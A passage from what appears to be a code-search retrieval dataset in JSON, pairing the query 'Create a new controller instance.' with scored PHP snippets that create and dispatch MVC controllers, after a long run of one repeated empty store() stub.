"" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" } ]
627c1ea6989e0986f8815fdf900c162e
Create a new controller instance.
[ { "docid": "51861cd84667e7fd7c28f6079b4b41e8", "score": "0.0", "text": "public function __construct()\n {\n $this->middleware('auth');\n $this->middleware('admin');\n }", "title": "" } ]
[ { "docid": "d9326c5cccbc2dd88181065b59b8d16d", "score": "0.7718656", "text": "protected function createController()\n {\n $controller = Str::studly(class_basename($this->argument('name')));\n\n $modelName = $this->qualifyClass($this->getNameInput());\n\n $this->call('package:controller', [\n 'name' => \"{$controller}Controller\",\n '--model' => $this->option('resource') ? $modelName : null,\n '--namespace' => $this->getNamespaceInput(),\n '--dir' => $this->getDirInput(),\n ]);\n }", "title": "" }, { "docid": "7522b4e75e8022f9b4896d6adb036aec", "score": "0.7408162", "text": "protected function createController($controllerName) {\n require_once PATH_CONTROLLERS_DIR.$controllerName.'.php';\n return new $controllerName;\n }", "title": "" }, { "docid": "6814871bdb6f8d91f6d863bacc689705", "score": "0.739726", "text": "public function createController()\n {\n return $this->validateController($this->controller, $this->action);\n }", "title": "" }, { "docid": "14fafcd88b131b2eaa5f30e438b6d974", "score": "0.73584074", "text": "public function createController()\n {\n // Derive the correct namespace\n $name = $this->qualifyClass(\"Http/Controllers/{$this->singular()}Controller\");\n\n // Determine the file path\n $path = $this->getPath($name);\n\n // Ensure this controller doesn't already exist\n if ($this->alreadyExists($path)) {\n $this->error('Controller already exists!');\n return false;\n }\n\n // Ensure the path is reachable\n $this->makeDirectory($path);\n\n // Fetch out stubbed file template\n $stub = $this->files->get($this->stubPath('controller'));\n\n // Replace stubbed placeholders with real values\n $controller = $this->replaceNamespace($stub, $name)->replaceClass($stub, $name);\n\n $replacements = [\n 'DummyFullModelClass' => $this->singular(),\n 'DummyModelClass' => class_basename($this->singular()),\n 'DummyModelVariablePlural' => lcfirst($this->plural()),\n 'DummyModelVariable' => lcfirst($this->singular()),\n ];\n\n $controller = str_replace(array_keys($replacements), array_values($replacements), $controller);\n\n // Write the file to disk\n $this->files->put($path, $controller);\n\n $this->info('Controller created successfully.');\n }", "title": "" }, { "docid": "cda5a4cfd3158f3568dcfbf30501ba0c", "score": "0.7157658", "text": "public function CreateController() {\n\t\t//does the class exist?\n\t\tif (class_exists($this->controller)) {\n\t\t\t$parents = class_parents($this->controller);\n\t\t\t//does the class extend the controller class?\n\n\t\t\tif (method_exists($this->controller,$this->action)) {\n\t\t\t\treturn new $this->controller($this->action,$this->urlvalues);\n\t\t\t} else {\n\t\t\t\t//bad method error\n\t\t\t\treturn new Error(\"badUrl\",$this->urlvalues);\n\t\t\t}\n\t\t\t\n\t\t} else {\n\t\t\t//bad controller error\n\t\t\treturn new Error(\"badUrl\",$this->urlvalues);\n\t\t}\n\t}", "title": "" }, { "docid": "6f4b3e1f2d4642658323f5ca5d89ff15", "score": "0.7145347", "text": "public function createController(){\n\t\t// Check Class\n\t\tif(class_exists($this->controller)){\n\t\t\t$parents = class_parents($this->controller);\n\t\t\t// Check Extend\n\t\t\tif(in_array(\"Controller\", $parents)){\n\t\t\t\tif(method_exists($this->controller, $this->action)){\n\t\t\t\t\treturn new $this->controller($this->action, $this->request);\n\t\t\t\t} else {\n\t\t\t\t\t// Method Does Not Exist\n\t\t\t\t\techo '<h1>Method does not exist</h1>';\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Base Controller Does Not Exist\n\t\t\t\techo '<h1>Base controller not found</h1>';\n\t\t\t\treturn;\n\t\t\t}\n\t\t} else {\n\t\t\t// Controller Class Does Not Exist\n\t\t\techo '<h1>Controller class does not exist</h1>';\n\t\t\treturn;\n\t\t}\n\t}", "title": "" }, { "docid": "18e976b5fe04d773fbcc524bd8e07d39", "score": "0.6996465", "text": "public static function init(): Controller\n {\n return new CompanyController();\n }", "title": "" }, { "docid": "c30b5e0cdc833f02671bd56ba0818419", "score": "0.6947697", "text": "function create_controller () {\n\t\t$file_content = file_get_contents('generator/GeneratedObjectController.php');\n\n\t\t// replace names\n\t\t$file_content = $this->replace_names($file_content);\n\n\t\t// replace datatable display & search columns\n\t\t$content = [];\n\t\tforeach ($this->columns as $name => $type) {\n\t\t\t$content[] = \"'$name'\";\n\t\t}\n\t\t$file_content = str_replace('// generator display columns', '$this->datatable->display_columns = ['.implode(', ', $content).'];', $file_content);\n\t\t$file_content = str_replace('// generator search columns', '$this->datatable->search_columns = ['.implode(', ', $content).'];', $file_content);\n\n\t\t// replace validator rules\n\t\t$content = '';\n\t\tforeach ($this->columns as $name => $type) {\n\t\t\tif ($type != 'ai') {\n\t\t\t\t$content .= '\t\t$validator->rules[] = [\\''.ucfirst(str_replace('_', ' ', $name)).'\\', \\''.$name.'\\', \\'required\\'];'.PHP_EOL;\n\t\t\t}\n\t\t}\n\t\t$file_content = str_replace('\t\t// generator rules', rtrim($content, PHP_EOL), $file_content);\n\n\t\t// create new class file with content\n\t\tfile_put_contents('app/controllers/'.$this->name['class'].'Controller.php', $file_content);\n\t}", "title": "" }, { "docid": "3e36ab8b17f0acf1f70a5f948e8e68f9", "score": "0.694347", "text": "public function setController()\n {\n if (isset($this->url[0])) {\n if (file_exists(__DIR__.'/../controllers/'.$this->url[0].'Controller.php')) {\n $this->controller = '\\App\\\\Controllers\\\\'.ucfirst($this->url[0]).'Controller';\n }\n unset($this->url[0]);\n }\n return new $this->controller;\n }", "title": "" }, { "docid": "5e49e15057f2dc0fc7a292ca0315aed4", "score": "0.6919487", "text": "public static function build(): Controller;", "title": "" }, { "docid": "7c22a989693f747de29e4a8acfe67cd7", "score": "0.6913309", "text": "public function createController(){\n if(class_exists($this->controller)){\n $parents = class_parents($this->controller);\n\n // check extends\n if(in_array('Controller', $parents)){\n if(method_exists($this->controller, $this->action)){\n return new $this->controller($this->action, $this->request);\n }else{\n // 404 page not found\n echo \"<center><h1>404</h1><br><h3>Method does not exist</h3></center>\";\n }\n }else{\n // 404 page not found\n echo \"<center><h1>404</h1><br><h3>Base controller does not exist</h3></center>\";\n }\n\n }else{\n // 404 page not found\n echo \"<center><h1>404</h1><br><h3>Class does not exist</h3></center>\";\n }\n }", "title": "" }, { "docid": "14112aaf6855b202948ff99a111500e5", "score": "0.68924665", "text": "private function createController(Request $request)\n {\n $controller = \"Post\"; // Default controller\n if ($request->existParameter('controller'))\n {\n $controller = $request->getParameter('controller');\n $controller = ucfirst (strtolower($controller)); // First letter in upper case\n }\n\n // Create the controller file name\n $classController = $controller . \"Controller\";\n $fileController = \"controller/\" . $classController . \".php\"; // concatenation for build the name of the controller file\n if (file_exists($fileController)) \n {\n // Instantiation of the controller adapted to the query\n require($fileController);\n $controller = new $classController();\n $controller->setRequest($request);\n return $controller;\n }\n else\n throw new Exception(\"Fichier '$fileController' introuvable\");\n }", "title": "" }, { "docid": "93d7df3a09cc014864daa234c8723abb", "score": "0.68385243", "text": "public function makeApiController()\n {\n $controllerClass = \"{$this->module}/{$this->module}Controller\";\n\n $this->call('make:controller', [\n 'name' => $controllerClass,\n '--api' => true,\n ]);\n }", "title": "" }, { "docid": "bb4542d12133680bee2ccc4ff64862ac", "score": "0.6778695", "text": "public function createController(string $controller, array $services) {\n return new $controller($this->getServices($services));\n }", "title": "" }, { "docid": "4097d4198a1dff708b62c949425ca696", "score": "0.6770579", "text": "protected function createController($controller,$action,$params) {\n $object = new $controller();\n call_user_func_array(array($object, $action), $params);\n }", "title": "" }, { "docid": "741d17127e5bffbe3e123e20f5163cec", "score": "0.6766812", "text": "public function CreateController()\n {\n if(class_exists($this->controller))\n {\n $parents = class_parents($this->controller);\n\n //does the class extend the controller class\n //if not error to bad url\n if(in_array('BaseController', $parents))\n {\n //does the class contain the requested method\n //if not error to bad url\n if(method_exists($this->controller, $this->action))\n {\n return new $this->controller($this->action, $this->urlParams);\n }\n else\n {\n return new Error('BadUrl', $this->urlValues);\n }\n }\n else\n {\n return new Error('BadUrl', $this->urlValues);\n }\n }\n else\n {\n return new Error('BadUrl', $this->urlValues);\n }\n }", "title": "" }, { "docid": "1da6b6bfbe1b17981fb3006484b5611d", "score": "0.6766166", "text": "public function createController(){\n // check for class User in the url\n if(class_exists($this->controller)){\n //class_parents — Return parent classes of the given class as array\n //eg.User class in index.php/User/register\n //if User extends class Controller, then result is an array of parent class Controller\n $parents = class_parents($this->controller);\n \n //check Extend\n //in_array(needle, haystack)\n //checks for class Controller in the returned array\n if(in_array('Controller', $parents)){\n //does the class User have a method register?\n //bool method_exists ( mixed $object , string $method_name )\n if(method_exists($this->controller, $this->action)){\n //creates an instance object of the User class\n //this class is extends base Controller class\n //its passed a method (register) and the url (index.php/Users/register)\n return new $this->controller($this->action, $this->request);\n }else{\n //Method does not exist\n echo 'Method does not exist';\n return;\n }\n }else {\n //Base controller not found\n echo \"Base controller not found\";\n }\n }else{\n //Controller class does not exist\n echo \"Controller class does not exist\";\n }\n }", "title": "" }, { "docid": "a63577bbe00a8d905bcd679acc6c0582", "score": "0.6703522", "text": "protected function createTestController() {\n\t\t$controller = new CController('test');\n\n\t\t$action = $this->getMock('CAction', array('run'), array($controller, 'test'));\n\t\t$controller->action = $action;\n\n\t\tYii::app()->controller = $controller;\n\t\treturn $controller;\n\t}", "title": "" }, { "docid": "e5e0c55c4714900fb5374b54efede745", "score": "0.6685761", "text": "public function createControllerFile()\n {\n $controller_path = app_path('Http/Controllers/' . $this->replaces['{role_class}']);\n if (!$this->files->exists($controller_path)) {\n $this->files->makeDirectory($controller_path, 0755, true);\n }\n\n // create controller file\n $controller_file = $controller_path . '/' . $this->replaces['{model_class}'] . 'Controller.php';\n\n // make sure controller file does not exist\n if ($this->files->exists($controller_file)) {\n $this->warn('Controller file exists: <info>' . $controller_file . '</info>');\n return;\n }\n\n $controller_stub = $this->files->get($this->stubs_path . '/controller.stub');\n $this->files->put($controller_file, $this->replace($controller_stub));\n $this->line('Controller file created: <info>' . $controller_file . '</info>');\n }", "title": "" }, { "docid": "d4769cc643f23b8ae5ddf8d17915f6c8", "score": "0.6559158", "text": "function factory($type, $router = null) {\n\t\t\n\t\t$type = strtolower($type);\n\t\t\n\t\tControllerFactory::import($type);\n\t\t\n\t\t$class_name = Inflector::camelize(basename($type)).'Controller';\n\t\t\n\t\tif (!class_exists($class_name)) {\n\t\t\ttrigger_error(\"Controller file for '$type' exists, but doesn't contain controller class '$class_name'\", E_USER_ERROR);\t\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t$controller = new $class_name;\n\t\t\n\t\tif (!is_a($controller, 'Controller')) {\n\t\t\ttrigger_error(\"Class '$class_name' doesn't extend Controller\", E_USER_ERROR);\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t$controller->full_type = $type;\n\t\t$controller->router = $router;\n\t\treturn $controller;\n\t}", "title": "" }, { "docid": "10fd6cfcfb90d057fcdf8ec6193fa1d4", "score": "0.6557814", "text": "public function loadController() {\n\t\tif (isset($this->Controller)) {\n\t\t\treturn $this->Controller;\n\t\t}\n\n\t\tif (!class_exists('Controller')) {\n\t\t\tApp::import('Controller', 'Controller', false);\n\t\t}\n\t\t$this->Controller = new Controller();\n\t\t$this->Controller->uses = array();\n\n\t\t$this->Controller->constructClasses();\n\t\t$this->Controller->startupProcess();\n\n\t\treturn $this->Controller;\n\t}", "title": "" }, { "docid": "02bd8c3ae81871f15337ca5bf36784cc", "score": "0.6527491", "text": "public function __construct()\n {\n $CONTROLLER_PATH = '../app/controllers/';\n\n // turn arguments from url after /public/ into array, where \n // [0] - controllers name\n // [1] - method name\n // [2..n] - arguments\n $url = $this->parseUrl();\n\n if (isset($url[0])) {\n if (file_exists($CONTROLLER_PATH . $url[0] . '.php')) {\n $this->controller = $url[0];\n unset($url[0]);\n }\n }\n\n require_once($CONTROLLER_PATH . $this->controller . '.php');\n\n // create a new object identified by its name \n $this->controller = new $this->controller;\n\n if (isset($url[1])) {\n if (method_exists($this->controller, $url[1])) {\n $this->method = $url[1];\n unset($url[1]);\n }\n }\n\n // save the rest of parameters into params\n $this->params = $url ? array_values($url) : [];\n\n\n call_user_func_array([$this->controller, $this->method], $this->params);\n }", "title": "" }, { "docid": "3a693593064e4c5786a26a77fe6ffe4a", "score": "0.6518577", "text": "private function createObjFromFile(){\n\t\t\n\t\t\n\t\t$this->controller = new $this->controller;\n\t\t\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "860f1221cf9e7f33ca2f7d14a8352a4d", "score": "0.64851624", "text": "protected function generateController()\n {\n $translatableName = $this->translator->translate($this->argument('name'));\n $namespace = $this->getNamespace(true, $translatableName->toModelName());\n $path = $this->getPath($namespace);\n $target = \"$path/{$translatableName->toRepositoryName()}Controller.php\";\n\n // Render and create repository controller if not exists\n if (!$this->filesystem->exists($target)) {\n $this->renderTemplate('controller_class.txt', $target, [\n 'NAMESPACE' => $namespace,\n 'CLASSNAME' => \"{$translatableName->toRepositoryName()}Controller\",\n 'REPOSITORY' => \"Eloquent{$translatableName->toRepositoryName()}Repository\"\n ]);\n } else {\n $this->error(\"Controller for repository '{$translatableName->toRepositoryName()}Repository' already exists.\");\n }\n }", "title": "" }, { "docid": "901fccfeeeff48ee3d2a996f0035f62f", "score": "0.64692736", "text": "protected function buildController(): void\n {\n $path = $this->namespace.$this->controllerPath.$this->argument('controller');\n // Controller namespace\n $this->controller = str_replace('/', '\\\\', $path);\n if ($this->laravel->runningInConsole()) {\n // Controller does not exists\n if (!class_exists($this->controller.$this->controllerExtension)) { // Append the 'Controller' suffix for path checking\n $response = $this->ask(\"Controller [{$this->controller}] does not exist. Would you like to create it?\", 'Yes');\n if ($this->rateResponse($response)) {\n // Build the controller by mocking the Artisan::call()\n $this->mock('controller', $this->controller.$this->controllerExtension);\n $this->line(\"Controller [{$this->controller}] has been successfully created.\");\n } else {\n $this->line(\"Controller [{$this->controller}] does not get created.\");\n }\n }\n }\n\n $controllerParts = explode('\\\\', $this->controller);\n $this->controllerName = array_pop($controllerParts);\n }", "title": "" }, { "docid": "2f8252c499ee07c46b4ca37b039a7869", "score": "0.6456961", "text": "public static function factory($controller)\n {\n $className = \"app\\\\controllers\\\\{$controller}\";\n return class_exists($className) ? new $className() : null;\n }", "title": "" }, { "docid": "8770562d3bf1c23b3024e35fc387ed0e", "score": "0.64533633", "text": "public static function instantiateController( $class )\n {\n $controller = new $class();\n\n return $controller;\n }", "title": "" }, { "docid": "2801a9234e783d115aae92da3c727892", "score": "0.6442282", "text": "public function testInstantiatingController()\n {\n global $config;\n\n $action = new Action( 'indexAction' );\n\n $controller = new HomeController();\n $controller->setDispatcher( new Dispatcher() );\n $controller->addDefaultListeners( $config );\n $controller->setAction( $action );\n\n $this->assertNotNull( $controller );\n }", "title": "" }, { "docid": "a6e6b0d124f20a1cb2d58a70d077ff7a", "score": "0.643471", "text": "public function createAccount()\n {\n return new CreateAccountController($this->dataRecord, $this);\n }", "title": "" }, { "docid": "22c5802794fb4a7741267b3d008c88ce", "score": "0.6424693", "text": "public function create()\n\t{\n\t\t//\n\t\treturn 'CobrosController.create()';\n\t}", "title": "" }, { "docid": "5e48ebea1216127ead2d9806b65182f8", "score": "0.6418414", "text": "public static function getController()\n {\n if (is_null(self::$instance))\n self::$instance = new Controller();\n return self::$instance;\n }", "title": "" }, { "docid": "55f605d4165a52b1b46b8eb8c5ef254a", "score": "0.6402445", "text": "public function __invoke(): Controller\\Customer\n {\n // Since we don't have a database, we're going to insert data manually and pretend the database exists.\n $data = new Vo\\Customer('Joe Schmoe', $this->getRentals());\n\n $model = new Model\\Customer($data);\n $view = new View\\Customer($model);\n\n $controller = new Controller\\Customer($model, $view);\n\n return $controller;\n }", "title": "" }, { "docid": "2844b870664f9dded954d2ad081e20af", "score": "0.6387934", "text": "private function registerControllerFactory()\n {\n \\Amvisie\\Core\\ControllerBuilder::current()->setControllerFactory(new \\Demo\\MyControllerFactory($this->injector));\n }", "title": "" }, { "docid": "577df751ec34d0c1ff25889ffa48882f", "score": "0.6322067", "text": "function createController(): void\n {\n $minimum_buffer_min = 3;\n if ($this->routerService->ds_token_ok($minimum_buffer_min)) {\n $results = GetClickwrapsService::getClickwraps($this->args, $this->clientService);\n\n if ($results) {\n $results = json_decode((string)$results, true);\n $this->clientService->showDoneTemplate(\n \"Get a list of clickwraps\",\n \"Get a list of clickwraps\",\n \"Results from the ClickWraps::getClickwraps method:\",\n json_encode(json_encode($results))\n );\n }\n } else {\n $this->clientService->needToReAuth($this->eg);\n }\n }", "title": "" }, { "docid": "fff7ef09f4829cc8af5393dca2558e2c", "score": "0.627688", "text": "function loadControler() {\n $name = ucfirst($this->request->controller) . 'Controller';\n $file = root . DIRECTORY_SEPARATOR . 'controller' . DIRECTORY_SEPARATOR . $name . '.php';\n require $file;\n return new $name($this->request);\n }", "title": "" }, { "docid": "9224437f2f27e230e9e4591310df8791", "score": "0.6235137", "text": "public function initController()\n\t{\n\t\t// already created\n\t\t// already created\n\t\tif ($this->controller instanceof Controller) {\n\t\t\treturn;\n\t\t}\n\t\t$slug = $this->request->getControllerString();\n//\t\tllog($slug);\n\t\tif (!$slug) {\n\t\t\tthrow new Exception404($slug);\n\t\t}\n\t\tif ($_REQUEST['d']) {\n\t\t\t$this->log(__METHOD__, $slug);\n\t\t}\n\t\t$this->loadController($slug);\n\t\t$this->bodyClasses[] = is_object($this->controller) ? get_class($this->controller) : '';\n\t\tTaylorProfiler::stop(__METHOD__);\n\t}", "title": "" }, { "docid": "b8c392744b1df1c8c46abef0029cc784", "score": "0.62313515", "text": "public function getController() {}", "title": "" }, { "docid": "e88f1c4982abeadc16518a9506523df4", "score": "0.62152797", "text": "public function loadController() {\n $non_camel_case_name = tableize($this->request->controller).'_controller';\n // Get class name\n $name = classify($non_camel_case_name);\n // Get file name to load it at runtime\n $file = APPLICATION_ROOT.'controllers/'.$non_camel_case_name.'.php';\n // Load controller file\n require($file);\n // Load controller $name\n $controller = new $name();\n return $controller;\n }", "title": "" }, { "docid": "5cd05100b345a60dfcbf429aea50a3c8", "score": "0.6206137", "text": "public function createAction()\n {\n $class = $this->getClass();\n $action = new $class;\n\n return $action;\n }", "title": "" }, { "docid": "645c0458cd626c6744636bf2c08ea107", "score": "0.6196702", "text": "public function createController(): void\n {\n 